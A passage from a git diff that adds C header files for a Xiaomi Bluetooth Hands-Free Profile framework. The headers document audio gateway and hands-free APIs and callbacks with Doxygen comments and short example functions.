AG audio connection is connected. + * + * This function is used to check if HFP audio connection has been established. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return true - AG audio is connected. + * @return false - AG audio is not connected. + * + * **Example:** + * @code +void app_check_hfp_ag_audio_connected(bt_instance_t* ins, bt_address_t* addr) +{ + if(bt_hfp_ag_is_audio_connected(ins, addr)) + printf("HFP AG audio is connected\n"); + else + printf("HFP AG audio is not connected\n"); +} + * @endcode + */ +bool BTSYMBOLS(bt_hfp_ag_is_audio_connected)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Get HFP AG connection state. + * + * This function is used for the application to obtain the service level connection + * state from HFP AG service. Connection states includes DISCONNECTED, CONNECTING, + * CONNECTED, and DISCONNECTING. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return profile_connection_state_t - Connection state. + * + * **Example:** + * @code +void app_get_hfp_ag_connection_state(bt_instance_t* ins, bt_address_t* addr) +{ + profile_connection_state_t state; + state = bt_hfp_ag_get_connection_state(ins, addr); + switch (state) { + case PROFILE_STATE_DISCONNECTED: { + printf("HFP AG is disconnected\n"); + return; + } + case PROFILE_STATE_CONNECTING: { + printf("HFP AG is connecting\n"); + return; + } + case PROFILE_STATE_CONNECTED: { + printf("HFP AG is connected\n"); + return; + } + case PROFILE_STATE_DISCONNECTING: { + printf("HFP AG is disconnecting\n"); + return; + } + } +} + * @endcode + */ +profile_connection_state_t BTSYMBOLS(bt_hfp_ag_get_connection_state)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Establish service level connection with peer HF device + * + * This function is used to initiate an HFP connection to a specified device + * and establish the service level connection. Therefore, calling this function + * successfully implies the execution of a set of AT commands and responses + * specified by the profile, which is necessary to synchronize the state of the + * HF with that of the AG. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_init_hfp_ag_connection(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + status = bt_hfp_ag_connect(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("connect failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_connect)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Disconnect from HFP service level connection. + * + * This function is used to initiate disconnection of the service level connection + * from the specified device. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_quit_hfp_ag_connection(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + status = bt_hfp_ag_disconnect(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("disconnect failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_disconnect)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Establish audio connection with peer HF device. + * + * This function is used for applications on the AG side to initiate an audio + * connection request to a specified HF. + * + * @param ins - Bluetooth client instance. + * @param addr - Bluetooth The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_init_hfp_ag_audio_connection(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + status = bt_hfp_ag_connect_audio(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("connect audio failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_connect_audio)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Disconnect audio connection. + * + * This function is used for applications on the AG side to initiate an audio + * disconnection request to a specified HF. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_quit_hfp_ag_audio_connection(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + status = bt_hfp_ag_disconnect_audio(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("disconnect audio failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_disconnect_audio)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Start SCO using virtual voice call. + * + * There are three modes for SCO audio: telecom call, virtual call and voice + * recognition. When one mode is active, other mode cannot be started. This + * function is used for applications on the AG side to start SCO using virtual + * voice call with specified HF. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_start_hfp_ag_virtual_call(bt_instance_t* ins, bt_address_t* addr); +{ + + bt_status_t status; + status = bt_hfp_ag_start_virtual_call(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("start virtual call failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_start_virtual_call)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Stop SCO using virtual voice call. + * + * This function is used for applications on the AG side to stop SCO using + * virtual voice call with specified HF. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_stop_hfp_ag_virtual_call(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + status = bt_hfp_ag_stop_virtual_call(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("stop virtual call failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_stop_virtual_call)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Start voice recognition + * + * This function is used for applications on the AG side to start voice recognition. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_start_hfp_ag_voice_recognition(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + status = bt_hfp_ag_start_voice_recognition(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("start voice recognition failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_start_voice_recognition)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Stop voice recognition + * + * This function is used for applications on the AG side to stop voice recognition. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_stop_hfp_ag_voice_recognition(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + status = bt_hfp_ag_stop_voice_recognition(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("stop voice recognition failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_stop_voice_recognition)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Send phone state change. + * + * This function is used to inform the HF device about phone state changes. + * The phone state information includes the number of active calls and held + * calls, along with details of the current call, such as the call state (e.g. + * dialing, alerting, or active), call type (e.g. national or international), + * phone number, and name of the caller if applicable. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param num_active - The number of active calls + * @param num_held - The number of held calls + * @param call_state - The state of call + * @param type - The type of call + * @param number - The call number + * @param name - The call name + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_inform_specific_phone state(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + char number[HFP_MAX_NUMBER_LEN] = "123456789"; + char name[HFP_MAX_NAME_LEN] = "<NAME>"; + uint8_t num_active = 1; + uint8_t num_held = 0; + hfp_ag_call_state_t call_state = HFP_AG_CALL_STATE_ACTIVE; + hfp_call_addrtype_t type = HFP_CALL_ADDRTYPE_INTERNATIONAL; + + status = bt_hfp_ag_phone_state_change(ins, addr, num_active, num_held, + call_state, type, number, name); + if (status != BT_STATUS_SUCCESS) + printf("phone state change failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_phone_state_change)(bt_instance_t* ins, bt_address_t* addr, + uint8_t num_active, uint8_t num_held, + hfp_ag_call_state_t call_state, hfp_call_addrtype_t type, + const char* number, const char* name); + +/** + * @brief Notify device states + * + * This function is used to notify the device states to the specified HF device. + * Device states information includes network service states, roaming states, + * signal strength, and battery level. + * + * @param ins - The Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param network - The state of network service. + * @param roam - The state of roaming. + * @param signal - The signal strength, range 0-5. + * @param battery - The battery level, range 0-5. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_notify_specific_device_status(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + hfp_network_state_t network = HFP_NETWORK_STATE_AVAILABLE; + hfp_roaming_state_t roam = HFP_ROAM_STATE_NO_ROAMING; + uint8_t signal = 5; + uint8_t battery = 3; + + status = bt_hfp_ag_notify_device_status(ins, addr, network, roam, signal, battery); + if (status != BT_STATUS_SUCCESS) + printf("notify device status failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_notify_device_status)(bt_instance_t* ins, bt_address_t* addr, + hfp_network_state_t network, hfp_roaming_state_t roam, + uint8_t signal, uint8_t battery); + +/** + * @brief Send volume control to HF. + * + * Audio Volume Control enables applications to modify the speaker volume and + * microphone gain of the HF from the AG. This function is used to send volume + * control to the specified HF device. The address parameter is used to specify + * the peer HF device. In addition to using this function, it is also necessary + * to specify the type of volume control and the specific volume level. The values + * of volume level are absolute values, and relate to a particular (implementation + * dependent) volume level controlled by the HF. + * + * @param ins - The Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param type - The type of volume, HFP_VOLUME_TYPE_SPk represents speaker gain + * HFP_VOLUME_TYPE_MIC represents microphone gain. + * @param volume - The gain level, range 0-15, 0 is the minimum and 15 is the maximum. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_send_specific_volume_control(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + hfp_volume_type_t type = HFP_VOLUME_TYPE_SPK; + uint8_t volume = 10; + + status = bt_hfp_ag_volume_control(ins, addr, type, volume); + if (status != BT_STATUS_SUCCESS) + printf("volume control failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_volume_control)(bt_instance_t* ins, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume); + +/** + * @brief Send an AT Command to HF device [Deprecated]. + * + * This function is used to send specific AT commands to the specified HF device. The + * address parameter is used to specify the peer HF device. + * + * @note This function will be deprecated in the future. Please use + * bt_hfp_ag_send_vendor_specific_at_command() instead. + * + * @param ins - The Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param at_command - The AT command to be send. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_send_specific_at_command(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + char at_command[] = "+CNUM: ,"5551212",129,,4"; + + status = bt_hfp_ag_send_at_command(ins, addr, at_command); + if (status != BT_STATUS_SUCCESS) + printf("send AT command failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_send_at_command)(bt_instance_t* ins, bt_address_t* addr, const char* at_command); + +/** + * @brief Send a vendor specific AT Command + * + * This function is used to send specific vendor AT commands to the specified HF device. The + * address parameter is used to specify the peer HF device. + * + * @param ins - The Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param command - The prefix of the AT command to be send. + * @param value - The value of the AT command to be send. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_send_specific_at_command(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + char at_command[] = "+XIAOMI"; + char value[] = "123456"; + + status = bt_hfp_ag_send_at_command(ins, addr, at_command, value); + if (status != BT_STATUS_SUCCESS) + printf("send AT command failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_send_vendor_specific_at_command)(bt_instance_t* ins, bt_address_t* addr, const char* command, const char* value); + +/** + * @brief Send CLCC Response + * + * This function shall be invoked for each call when there are multiple calls. When all calls are + * transmitted, the application shall invoke bt_hfp_ag_clcc_response(ins, addr, 0, 0, 0, 0, NULL) + * to finalize a query procedure. + * + * @param ins - bluetooth client instance. + * @param addr - address of peer HF device. + * @param index - index of the call. + * @param dir - direction of the call. + * @param state - state of the call. + * @param mode - mode of the call. + * @param mpty - whether the call is multi party. + * @param type - type of the call. + * @param number - phone number of the call. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int bt_hfp_ag_send_clcc_response(bt_instance_t* ins, bt_address_t* addr, uint32_t index, + hfp_call_direction_t dir, hfp_ag_call_state_t state, hfp_call_mode_t mode, + hfp_call_mpty_type_t mpty, hfp_call_addrtype_t type, const char* number) +{ + bt_status_t status; + uint32_t index = 1; + hfp_call_direction_t dir = HFP_CALL_DIRECTION_INCOMING; + hfp_ag_call_state_t state = HFP_AG_CALL_STATE_INCOMING; + hfp_call_mode_t mode = HFP_CALL_MODE_VOICE; + hfp_call_mpty_type_t mpty = HFP_CALL_MPTY_TYPE_SINGLE; + hfp_call_addrtype_t type = HFP_CALL_ADDRTYPE_NATIONAL; + char number[] = "12345678900"; + status = bt_hfp_ag_send_clcc_response(ins, addr, index, dir, state, mode, mpty, type, number); + if (status != BT_STATUS_SUCCESS) + printf("send clcc response failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_ag_send_clcc_response)(bt_instance_t* ins, bt_address_t* addr, + uint32_t index, hfp_call_direction_t dir, hfp_ag_call_state_t state, hfp_call_mode_t mode, + hfp_call_mpty_type_t mpty, hfp_call_addrtype_t type, const char* number); +#ifdef __cplusplus +} +#endif + +#endif /* __BT_HFP_AG_H__ */ diff --git a/framework/include/bt_hfp_hf.h b/framework/include/bt_hfp_hf.h new file mode 100644 index 0000000000000000000000000000000000000000..d394c2fc18a2a10f38c18c974dbb0533d7b9db36 --- /dev/null +++ b/framework/include/bt_hfp_hf.h @@ -0,0 +1,1213 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_HFP_HF_H__ +#define __BT_HFP_HF_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_addr.h" +#include "bt_device.h" +#include "bt_hfp.h" +#include <stddef.h> + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +/** + * @cond + */ + +/** + * @brief HFP HF call state + */ +typedef enum { + HFP_HF_CALL_STATE_ACTIVE = 0, + HFP_HF_CALL_STATE_HELD, + HFP_HF_CALL_STATE_DIALING, + HFP_HF_CALL_STATE_ALERTING, + HFP_HF_CALL_STATE_INCOMING, + HFP_HF_CALL_STATE_WAITING, + HFP_HF_CALL_STATE_HELD_BY_RESP_HOLD, + HFP_HF_CALL_STATE_DISCONNECTED +} hfp_hf_call_state_t; + +/** + * @brief HFP HF channel type + */ +typedef enum { + HFP_HF_CHANNEL_TYP_PHONE = 0, + HFP_HF_CHANNEL_TYP_WEBCHAT, +} hfp_hf_channel_type_t; + +/** + * @brief HFP call info structure + */ +typedef struct { + uint32_t index; + uint8_t dir; /* hfp_call_direction_t */ + uint8_t state; /* hfp_hf_call_state_t */ + uint8_t mpty; /* hfp_call_mpty_type_t */ + uint8_t pad[1]; + char number[HFP_PHONENUM_DIGITS_MAX]; + char name[HFP_NAME_DIGITS_MAX]; +} hfp_current_call_t; + +/** + * @brief HFP subscriber number service + */ +typedef enum { + HFP_HF_SERVICE_UNKNOWN = 0, + HFP_HF_SERVICE_VOICE, + HFP_HF_SERVICE_FAX, +} hfp_subscriber_number_service_t; + +/** + * @endcond + */ + +/** + * @brief Callback for HFP HF connection state changed. + * + * HFP connection states include DISCONNECTED, CONNECTING, CONNECTED, and + * DISCONNECTING. During HFP HF initialization, callback functions will be + * registered. This callback is triggered when the state of HFP HF connection + * changed. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param state - HFP profile connection state. + * + * **Example:** + * @code +void hfp_hf_connection_state_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + printf("hfp_hf_connection_state_cb, state: %d\n", state); +} + * @endcode + */ +typedef void (*hfp_hf_connection_state_callback)(void* cookie, bt_address_t* addr, profile_connection_state_t state); + +/** + * @brief HFP HF audio connection state changed callback + * + * The audio data transmission in HFP requires the use of a specific transmission + * link, which is the audio connection. HFP audio connection states include + * DISCONNECTED, CONNECTING, CONNECTED, and DISCONNECTING. During HFP HF + * initialization, callback functions will be registered. This callback is + * triggered when the audio connection state changed. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param state - hfp audio state. + * + * **Example:** + * @code +void hfp_hf_audio_state_cb(void* cookie, bt_address_t* addr, hfp_audio_state_t state) +{ + printf("hfp_hf_audio_state_cb, state: %d\n", state); +} + * @endcode + */ +typedef void (*hfp_hf_audio_state_callback)(void* cookie, bt_address_t* addr, hfp_audio_state_t state); + +/** + * @brief Callback for HFP HF VR state changed. + * + * HFP voice recognition activation states includes STOPPED and STARTED. During + * HFP HF initialization, callback functions will be registered. This callback + * is triggered when the VR state changed. When the application receives a + * notification through this callback function, it needs to initiate an audio + * connection if the connection is not established. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param started - Started or stopped states of voice recognition, true is started, false is stopped. + * + * **Example:** + * @code +void hfp_hf_vr_cmd_cb(void* cookie, bt_address_t* addr, bool started) +{ + printf("hfp_hf_vr_cmd_cb, started: %d\n", started); + if (!bt_hfp_hf_is_audio_connected(ins, addr)) + hfp_hf_audio_connect(ins, addr); +} + * @endcode + */ +typedef void (*hfp_hf_vr_cmd_callback)(void* cookie, bt_address_t* addr, bool started); + +/** + * @brief Callback for HFP HF call state changed. + * + * This function is used to notify the application on the HF side of the current + * call states and related information. Call states include ACTIVE, HELD, DIALING, + * ALERTING, INCOMING, WAITING, HELD_BY_RESP_HOLD, and DISCONNECTED. Other information + * such as phone number will also be notified to the application through this callback. + * During HFP HF initialization, callback functions will be registered. This callback + * will be triggered when HFP HF receives a notification of the current call state. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param call - Call infomation. + * + * **Example:** + * @code +void hfp_hf_call_state_change_cb(void* cookie, bt_address_t* addr, hfp_current_call_t* call) +{ + printf("hfp_hf_call_state_change_cb, call state: %d\n", call->state); +} + * @endcode + */ +typedef void (*hfp_hf_call_state_change_callback)(void* cookie, bt_address_t* addr, hfp_current_call_t* call); + +/** + * @brief Callback for AT command complete. + * + * This callback is used to notify the application of the AT command response. During + * HFP HF initialization, callback functions will be registered. This callback will + * be triggered when HF receives a notification of the AT command response. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param resp - The response string of AT command. + * + * **Example:** + * @code +void hfp_hf_cmd_complete_cb(void* cookie, bt_address_t* addr, const char* resp) +{ + printf("hfp_hf_cmd_complete_cb, resp: %s\n", resp); +} + * @endcode + */ +typedef void (*hfp_hf_cmd_complete_callback)(void* cookie, bt_address_t* addr, const char* resp); + +/** + * @brief Callback for HFP HF ring indication. + * + * This callback is used to notify the application of the ring indication. During + * HFP HF initialization, callback functions will be registered. This callback will + * be triggered when HF receives a notification of the ring indication. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param inband_ring_tone - True if the ring tone is inband, false if it is outband. + * + * **Example:** + * @code +void hfp_hf_ring_indication_cb(void* cookie, bt_address_t* addr, bool inband_ring_tone) +{ + printf("hfp_hf_ring_indication_cb, inband_ring_tone: %d\n", inband_ring_tone); +} + * @endcode + */ +typedef void (*hfp_hf_ring_indication_callback)(void* cookie, bt_address_t* addr, bool inband_ring_tone); + +/** + * @brief Callback for HFP HF network roaming state changed. + * + * This callback is used to notify the application of the network roaming state. During + * HFP HF initialization, callback functions will be registered. This callback will + * be triggered when HF receives a notification of the network roaming state. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param status - Roaming state, 0 represents roaming is not active, 1 represents roaming is active. + * + * **Example:** + * @code +void hfp_hf_roaming_changed_cb(void* cookie, bt_address_t* addr, int status) +{ + printf("hfp_hf_roaming_changed_cb, status: %d\n", status); +} + * @endcode + */ +typedef void (*hfp_hf_roaming_changed_callback)(void* cookie, bt_address_t* addr, int status); + +/** + * @brief Callback for HFP HF network state changed. + * + * This callback is used to notify the application of the network state. During + * HFP HF initialization, callback functions will be registered. This callback will + * be triggered when HF receives a notification of the latest network state. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param status - Network state, 0 means roaming is not active, 1 means a roaming is active. + * + * **Example:** + * @code +void hfp_hf_network_state_changed_cb(void* cookie, bt_address_t* addr, int status) +{ + printf("hfp_hf_network_state_changed_cb, status: %d\n", status); +} + * @endcode + */ +typedef void (*hfp_hf_network_state_changed_callback)(void* cookie, bt_address_t* addr, int status); + +/** + * @brief Callback for HFP HF signal strength changed. + * + * This callback is used to notify the application of the signal strength. During + * HFP HF initialization, callback functions will be registered. This callback will + * be triggered when HF receives a notification of the signal strength. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param signal - Signale strength, range 0-5. + * + * **Example:** + * @code +void hfp_hf_signal_strength_changed_cb(void* cookie, bt_address_t* addr, int signal) +{ + printf("hfp_hf_signal_strength_changed_cb, signal: %d\n", signal); +} + * @endcode + */ +typedef void (*hfp_hf_signal_strength_changed_callback)(void* cookie, bt_address_t* addr, int signal); + +/** + * @brief Callback for HFP HF network operator name changed. + * + * This callback is used to notify the application of the network operator name. During + * HFP HF initialization, callback functions will be registered. This callback will + * be triggered when HF receives a notification of the latest network operator name. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param name - Network operator name. + * + * **Example:** + * @code +void hfp_hf_operator_changed_cb(void* cookie, bt_address_t* addr, char* name) +{ + printf("hfp_hf_operator_changed_cb, name: %s\n", name); +} + * @endcode + */ +typedef void (*hfp_hf_operator_changed_callback)(void* cookie, bt_address_t* addr, char* name); + +/** + * @brief Callback for HFP HF volume changed. + * + * Audio Volume Control enables applications to modify the speaker volume and + * microphone gain of the HF from the AG. This callback is used to notify the + * application of the volume control information. During HFP HF initialization, + * callback functions will be registered. This callback will be triggered when + * HF receives a notification of the volume control information. The values + * of volume level are absolute values, and relate to a particular (implementation + * dependent) volume level + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param type - The type of volume, HFP_VOLUME_TYPE_SPk represents speaker gain + * HFP_VOLUME_TYPE_MIC represents microphone gain. + * @param volume - The gain level, range 0-15, 0 is the minimum and 15 is the maximum. + * + * **Example:** + * @code +void hfp_hf_volume_changed_cb(void* cookie, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + if (type == HFP_VOLUME_TYPE_SPK) + printf("hfp_hf_volume_changed_cb, speaker volume: %d\n", volume); + else + printf("hfp_hf_volume_changed_cb, microphone volume: %d\n", volume); +} + * @endcode + */ +typedef void (*hfp_hf_volume_changed_callback)(void* cookie, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume); + +/** + * @brief Callback for HFP HF call indicator. + * + * This callback is used to notify the application of the call indicator. During + * HFP HF initialization, callback functions will be registered. This callback will + * be triggered when HF receives a notification of the call indicator. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param call - The call indicator. + * + * **Example:** + * @code +void hfp_hf_call_cb(void* cookie, bt_address_t* addr, hfp_call_t call) +{ + printf("hfp_hf_call_cb, call: %d\n", call); +} + * @endcode + */ +typedef void (*hfp_hf_call_callback)(void* cookie, bt_address_t* addr, hfp_call_t call); + +/** + * @brief Callback for HFP HF callsetup indicator. + * + * This callback is used to notify the application of the callsetup indicator. + * The callsetup indicator includes NONE, INCOMING, OUTGOING and ALERTING. During + * HFP HF initialization, callback functions will be registered. This callback will + * be triggered when HF receives a notification of the callsetup indicator. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param callsetup - The callsetup indicator. + * + * **Example:** + * @code +void hfp_hf_callsetup_cb(void* cookie, bt_address_t* addr, hfp_callsetup_t callsetup) +{ + printf("hfp_hf_callsetup_cb, callsetup: %d\n", callsetup); +} + * @endcode + */ +typedef void (*hfp_hf_callsetup_callback)(void* cookie, bt_address_t* addr, hfp_callsetup_t callsetup); + +/** + * @brief Callback for HFP HF callheld indicator. + * + * This callback is used to notify the application of the callheld indicator. + * The callheld indicator includes NONE and HELD. During HFP HF initialization, + * callback functions will be registered. This callback will be triggered when HF + * receives a notification of the callheld indicator. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param callheld - the callheld indicator. + * + * **Example:** + * @code +void hfp_hf_callheld_cb(void* cookie, bt_address_t* addr, hfp_callheld_t callheld) +{ + printf("hfp_hf_callheld_cb, callheld: %d\n", callheld); +} + * @endcode + */ +typedef void (*hfp_hf_callheld_callback)(void* cookie, bt_address_t* addr, hfp_callheld_t callheld); + +/** + * @brief HFP HF get subscriber number callback. + * + * @param cookie - callback cookie. + * @param addr - address of peer AG device. + * @param number - phone number. + * @param service - indicates which service this phone number relates to. + */ +typedef void (*hfp_hf_subscriber_number_callback)(void* cookie, bt_address_t* addr, const char* number, hfp_subscriber_number_service_t service); + +/** + * @brief HFP HF +clip callback. + * + * @param cookie - callback cookie. + * @param addr - address of peer AG device. + * @param number - the number of call. + * @param name - the name of call. + */ +typedef void (*hfp_hf_clip_callback)(void* cookie, bt_address_t* addr, const char* number, const char* name); + +/** + * @brief HFP HF query current calls callback. + * + * @param cookie - callback cookie. + * @param addr - address of peer AG device. + * @param num - number of current calls. + * @param calls - list of current calls. + */ +typedef void (*hfp_hf_query_current_calls_callback)(void* cookie, bt_address_t* addr, uint8_t num, hfp_current_call_t* calls); + +/** + * @cond + */ + +/** + * @brief HFP HF callback structure + * + */ +typedef struct +{ + size_t size; + hfp_hf_connection_state_callback connection_state_cb; + hfp_hf_audio_state_callback audio_state_cb; + hfp_hf_vr_cmd_callback vr_cmd_cb; + hfp_hf_call_state_change_callback call_state_changed_cb; + hfp_hf_cmd_complete_callback cmd_complete_cb; + hfp_hf_ring_indication_callback ring_indication_cb; + hfp_hf_volume_changed_callback volume_changed_cb; + hfp_hf_call_callback call_cb; + hfp_hf_callsetup_callback callsetup_cb; + hfp_hf_callheld_callback callheld_cb; + hfp_hf_clip_callback clip_cb; + hfp_hf_subscriber_number_callback subscriber_number_cb; + hfp_hf_query_current_calls_callback query_current_calls_cb; +} hfp_hf_callbacks_t; + +/** + * @endcond + */ + +/** + * @brief Register HFP HF callback functions. + * + * This function is used to register callback functions in an application + * to the HFP HF service. The types of callback functions are included in + * the hfp_hf_callbacks_t structure. + * + * @param ins - Bluetooth client instance. + * @param callbacks - HFP HF callback functions. + * @return void* - Callback cookie, if the callback is registered successfuly. + * NULL if the callback is already registered or registration fails. + * + * **Example:** + * @code +void* hf_callbacks; +const static hfp_hf_callbacks_t hfp_hf_cbs = { + sizeof(hfp_hf_cbs), + hf_connection_state_cb, + hf_audio_state_cb, + hf_vr_cmd_cb, + hf_call_state_changed_cb, + hf_cmd_complete_cb, + hf_ring_indication_cb, + hf_volume_changed_cb, + hf_call_cb, + hf_callsetup_cb, + hf_callheld_cb, +}; + +void app_init_hfp_hf(bt_instance_t* ins) +{ + hf_callbacks = bt_hfp_hf_register_callbacks(ins, &hfp_hf_cbs); + if(!hf_callbacks) + printf("register callbacks failed\n"); + else + printf("register callbacks success\n"); +} + * @endcode + */ +void* BTSYMBOLS(bt_hfp_hf_register_callbacks)(bt_instance_t* ins, const hfp_hf_callbacks_t* callbacks); + +/** + * @brief Unregister HFP HF callback functions. + * + * This function is used to unregister callback functions with HFP HF service + * in an application. The application shall unregister all callbacks once it + * is no longer interested in them, such as when the application is quitting. + * + * @param ins - Bluetooth client instance. + * @param cookie - Callback cookie. + * @return true - Unregister successfully. + * @return false - Callback cookie not found. + * + * **Example:** + * @code +void app_deinit_hfp_hf(bt_instance_t* ins) +{ + if(hf_callbacks) { + if(!bt_hfp_hf_unregister_callbacks(ins, hf_callbacks)) + printf("unregister callbacks failed\n"); + } +} + * @endcode + */ +bool BTSYMBOLS(bt_hfp_hf_unregister_callbacks)(bt_instance_t* ins, void* cookie); + +/** + * @brief Check HFP HF is connected + * + * This function is used to check whether a service level connection is established + * between AG and HF device. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return true - HFP HF is connected. + * @return false - HFP HF is not connected. + * + * **Example:** + * @code + void app_check_hfp_hf_connected(bt_instance_t* ins, bt_address_t* addr) + { + if(bt_hfp_hf_is_connected(ins, addr)) + printf("HFP HF is connected\n"); + else + printf("HFP HF is not connected\n"); + } + * @endcode + */ +bool 